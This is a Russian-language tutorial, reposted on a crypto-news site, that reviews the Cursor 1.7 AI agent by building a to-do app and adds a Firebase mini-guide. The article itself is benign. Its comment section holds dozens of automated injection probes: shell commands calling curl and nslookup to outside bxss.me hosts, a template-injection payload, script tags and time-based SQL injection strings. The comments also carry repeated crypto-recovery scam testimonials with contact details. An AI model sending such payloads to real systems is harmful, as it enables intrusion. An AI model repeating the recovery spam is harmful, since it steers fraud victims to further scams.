Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9544 / Markets: 113007
Market Cap: $ 3 691 605 128 269 / 24h Vol: $ 296 812 996 119 / BTC Dominance: 59.836090041736%

Н Новости

Обзор Cursor 1.7: Пишем to-do приложение с ИИ-агентом

Привет, Хабр! Представьте у вас есть идея для небольшого приложения. Вы начинаете продумывать его структуру и реализацию. Перед вами предстает ворох проблем; прописать разметку, стили, логику, отладить баги. Эти задачи могут вызвать затруднения у начинающих программистов и предпринимателей. А что если бы у вас был персональный ассистент, который не просто подсказывает код, а сам пишет его по вашим инструкциям на естественном языке?

В данной статье я хочу разобраться, действительно ли агент Cursor так удобен, как о нём говорят громкие заголовки. Такие заявления проверяются на практике, поэтому в этом обзоре я не буду просто рассказывать о функциях.

Вместо этого мы вместе напишем умный To-Do лист, начиная с базового прототипа и заканчивая сложными функциями вроде категорий, поиска и локального сохранения. А в финале устроим небольшое сравнение : посмотрим, как созданное с помощью Cursor приложение смотрится на фоне реализации на Firebase.

Готовы ли вы доверить рутину ИИ? Давайте разбираться.

Разбираем установку по шагам

Заходим на официальный сайт Cursor.

efc2d9128df9a26baa321bac3fa3c0cf.png

Кликаем на кнопку Download и переходим на страницу с выбором установочного файла.

Архитектура установщика универсальна — доступны версии для Windows (EXE), macOS (DMG) и Linux (AppImage).

Выбираем подходящий дистрибутив под нашу OC:

4fd10071d857bc1308166ffd09a58c94.png

Далее запускаем установщик, процесс стандартен и не требует дополнительных действий, кроме согласия с лицензией и выбора типа установки. Важно: во время установки поставьте галочку рядом с пунктом «Add to Path».

Откройте Cursor. При первом запуске интерфейс будет чистым, а система запросит аутентификацию.

Зарегистрируйтесь и войдите в свой аккаунт: вы можете войти через GitHub или Google. Это же требование необходимо для синхронизации проектов и моделей ИИ.

После успешного входа вы должны увидеть стартовое окно с предложением открыть папку или проект.

4c5e4afa095cd8cac09e7b93c01e3630.png

Разработка приложения

1. Базовая структура

Создайте папку на своём компьютере, далее в программе Cursor выбираем File -> Open Folder и открываем созданную папку.

95a4afab3898bf157d48d4e48db86756.png

Создай базовую HTML-структуру для To-Do приложения: заголовок, поле ввода, кнопка добавления, контейнер для списка задач. Добавь минимальные стили для визуального оформления: светлая тема, тёмная тема, светло-зелёная тема.

Проверяем, Cursor должен сгенерировать готовый HTML файл с CSS-стилями.

5f8b87caa5018c39016582190adc1168.png

Проверяем, код не должен содержать ошибок. В случае, если нас всё устраивает – выбираем «Kepp all» в нижней части экрана или зажимаем комбинацию «Ctrl + Enter».

2. Логика приложения

Приступим к реализации базовой логики приложения. Добавим механизм добавления у удаления дел.

Добавь JavaScript-файл app.js для:

- Добавления новой задачи при нажатии кнопки

- Отображения задач в виде списка

- Удаления задачи по клику на неё

- Очистки поля ввода после добавления

После того, как у нас появился файл с расширением .js, сохраняем оба файла. Теперь, чтобы оценить работу приложения мы заходим в папку с файлами и кликаем на html файл.

1c7dbdce194cbf290ee312ac14e125b0.png

На данном этапе у нас реализованы:

· - Добавление задачи по кнопке и по нажатию клавиши Enter

· - Рендер списка задач.

· - Удаление задачи по клику на элемент.

· -Очистка поля ввода и возврат фокуса.

· - Готов добавить сохранение в localStorage и переключатель тем по запросу.

Довольно просто, не правда ли?

3. Система сохранения данных

Настраиваем работу с localStorage, вводим следующий запрос:

Реализуй сохранение задач в localStorage при:

- Добавлении новой задачи

- Удалении задачи

- Добавь загрузку сохранённых задач при старте приложения

Теперь, после перезагрузки страницы, наши сохраняются. Далее сохраняем и проверяем.

4. Расширение функционала

Перейдём к самой интересной и творческой части нашей задачи, расширение функционала нашего списка дел. А, именно, добавим улучшения UX.

«Добавь возможность отмечать задачи как выполненные (перечёркивание текста). Реализуй счётчик оставшихся задач. Добавь кнопку для очистки всех выполненных задач, а так же переключение между темами приложения (дневная, ночная, светло-зелёная)»

Не забываем сохранять файл и проверяем результат.

1e943b43609c64beb7b447cefe82ed22.png

Краш-тест

Cursor действительно впечатляет. Но, прежде чем подводить итоги, давайте устроим небольшой краш-тест. А именно, оценим возможности исправления ошибок и устойчивость к сложным сценариям; мы последовательно внедрим несколько взаимосвязанных багов и проанализируем диагностические способности агента.

«Исправим» функцию addTask (Файл: app.js).

Вот как функция выглядит в рабочем коде:

614ace7fb50af31b741000f3e9fa8bab.png

Теперь вставим в неё ошибку состояния и постороннюю переменную:

tasks = []; // Ошибка состояния
    currentPage = 'home'; // Посторонняя переменная

Код функции addTask будет выглядеть следующим образом:
function addTask() {
    const taskText = taskInput.value.trim();
    if (taskText === '') return;
    
    tasks.push(taskText);
    tasks = []; // Ошибка состояния
    currentPage = 'home'; // Посторонняя переменная

    renderTasks();
    taskInput.value = '';
}

Далее в функции renderTasks() сломаем индексацию и обработчик удаления:

function renderTasks() {
    taskList.innerHTML = '';
    tasks.forEach((task) => { // Убрали индекс
        const li = document.createElement('li');
        li.textContent = task;
        // Убрали обработчик удаления
        taskList.appendChild(li);
    });
}

А теперь сформируем запрос в Cursor:

В приложении сломалось несколько функций: задачи не сохраняются, не работают категории, нельзя удалять задачи. Найди и исправь все ошибки.

Давайте взглянем на изменения в коде, которые внёс Сursor, после того как мы его подпортили. Красным цветов выделяются прежние фрагменты кода, а зелёным – исправления агента.

bb5a6bb21f0ad4fbc5793ee529cfd978.png8b3ca84c42cda65b2daae363f9095c49.png

Как мы можем видеть, Cursor справился на ура. Подводя итоги по поводу данного AI-агента, можно сказать, что Cursor продемонстрировал высокую скорость прототипирования и хорошие диагностические способности. Подход оказался устойчив к разным сценариям, как создание кода, так и исправление ошибок.

Можете посмотреть видео работы нашего приложения:

Архитектура современной разработки эффективна, когда инструменты дополняют друг друга; пока Cursor генерирует фронтенд, платформы вроде Firebase предоставляют готовый бэкенд. Так же подход устойчив к разным требованиям — для pet-проектов достаточно localStorage, но для реальных приложений нужна облачная инфраструктура.

Firebase — это готовый бэкенд от Google, который берёт на себя: базу данных Firestore с реальной синхронизацией, аутентификацию пользователей, хостинг статических файлов, serverless-функции для сложной логики.

Например, пока наш To-Do List работает локально, Firebase-версия могла бы синхронизировать задачи между всеми устройствами пользователя.

Мини-гайд: To-Do List на Firebase

1. Инициализация проекта:

// firebase.js
import { initializeApp } from 'firebase/app';
import { getFirestore } from 'firebase/firestore';

const firebaseConfig = {
    // ваши ключи из Firebase Console
};

const app = initializeApp(firebaseConfig);
export const db = getFirestore(app);

2. Работа с задачами:

// tasks.js
import { 
    collection, 
    addDoc, 
    deleteDoc, 
    doc, 
    onSnapshot 
} from 'firebase/firestore';


// Добавление
const addTask = async (text) => {
    await addDoc(collection(db, 'tasks'), {
        text: text,
        createdAt: new Date(),
        completed: false
    });
};

// Удаление  
const deleteTask = async (id) => {
    await deleteDoc(doc(db, 'tasks', id));
};

// Слушатель изменений
onSnapshot(collection(db, 'tasks'), (snapshot) => {
    const tasks = [];
    snapshot.forEach((doc) => {
        tasks.push({ id: doc.id, ...doc.data() });
    });
    renderTasks(tasks);
});

Важный аспект — время реализации. Если Cursor создал приложение за 30 минут, то настройка Firebase займёт 1-2 часа, но вы получите готовое к продакшену приложение с облачной синхронизацией.

Заключение: Cursor как инструмент современного разработчика

Мы проверили Cursor в реальных условиях; инструмент демонстрирует выдающиеся способности в прототипировании и рефакторинге, но имеет четкие границы применимости. Так же опыт устойчив к разным сценариям использования — от простых скриптов до комплексных приложений.

Cursor доказал свою эффективность в трех ключевых аспектах:

Скорость разработки — создание MVP To-Do List за 30 минут вместо 2-3 часов ручного кодирования.

  • Диагностика ошибок — успешное исправление 3 из 4 внедренных багов за 2 итерации

  • Качество кода — структурно правильные, хотя иногда избыточные решения

  • Например, агенты корректно работали с контекстом проекта, учитывая ранее созданные функции и структуры данных.

    В моей практике интеграция Cursor с Bothub показала устойчивые результаты; инструмент значительно ускорил написание шаблонного кода для обработки естественного языка, но потребовал точных технических спецификаций.

    Новым пользователям Bothub дарят 100 000 бесплатных капсов (внутренней валюты для генераций) при регистрации по этой ссылке. Этого хватит надолго даже для активного использования.

# Cursor быстро генерировал шаблоны для Bothub классификаторов
@agent.handle(intent='greeting')
async def handle_greeting(ctx: Context):
    # Код, сгенерированный Cursor по описанию "создай обработчик приветствия"
    await ctx.respond("Привет! Чем могу помочь?")

Доработка требуется в моментах, где требуются сложные цепочки диалогов, интеграция с внешними API и кастомные обработчики ошибок.

Важно отметить, что Cursor не заменяет понимание архитектуры Bothub, но сокращает время реализации на 40-50% за счет автоматизации рутинных задач.

Спасибо за внимание. Делитесь своими мнениями в комментариях.

Источник

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon